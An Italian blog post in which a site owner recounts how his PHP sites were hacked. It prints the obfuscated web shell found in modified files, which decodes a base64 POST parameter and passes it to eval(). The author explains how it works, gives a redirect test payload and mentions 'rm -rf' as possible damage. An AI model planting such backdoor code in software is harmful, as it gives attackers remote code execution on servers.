Apr 13

Attacco di tipo Exploitation

Spread the love

bigstock-Hacker-Typing-On-A-Laptop-44548564Exploitation vuol dire sfruttamento. Sfruttare una combinazione di funzioni poco raccomandabili messe a disposizione da PHP e insufficiente politica dei permessi di accesso nel file system.

Vi racconto questa bella storiella: ho alcuni siti che gestisco più per passione che per lavoro, che sono stati oggetti di un attacco hacker. Ad esempio è stato colpito anche questo sito da cui state leggendo questo post.

Un software che mi aiuta in questo (Wordfence) mi ha segnalato che alcuni file sono stati aggiunti o modificati nel modo seguente:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['ne0080b'];
if(isset($s22))
{
   $r=eval($s21($s22));
}
?>

Ve l’ho scritto in modo non oscurato (come l’avevo trovato).

In sostanza dalla stringa $sF il programma si costruisce questo comando

base64_decode($_POST['ne0080b']);

che poi passa alla funzione eval() (funzione pericolosa).

In sostanza se passo in POST al programma, nella url che lo chiama, una stringa codificata in base64, ad esempio.

aGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5nb29nbGUuaXQiKTsK

questo fa sì che il sito venga rediretto a

http://www.google.it

In effetti il contenuto di quella stringa è:

header(“Location: http://www.google.it“);

Praticamente questo attacco consente l’esecuzione di codice arbitrario (potrebbe essere anche un

system('rm -rf'),

e sai che allegria!)

Questo codice può essere salvato in un file exnovo oppure (più facile) in un file già esistente, aggiungendo in cima al file (e quindi assicurandosi che il frammento di codice venga eseguito senz’altro) il frammento malevolo.

Questo attacco consente facilmente di scrivere, nel filesystem della macchina, codice che poi, interpretato da PHP, potrà fare cose meravigliose o danni seri.

2 comments

  1. Buongiorno Marco,
    Grazie per l’interessante articolo.
    anche io ho subito diversi injection nei miei cms… sopratutto in joomla.
    vorrei chiederti come fai ad individuare da dove ignettano i file?
    consultando gli access log?

    grazie

    1. Ciao,
      utilizzo Wordfence. A volte mi è capitato anche di scovare i file da solo, ma è solo un caos perché a volte modificano file esistenti, per cui se non li devi aprire per lavorarci non te ne accorgeresti mai.

Lascia un commento

Your email address will not be published.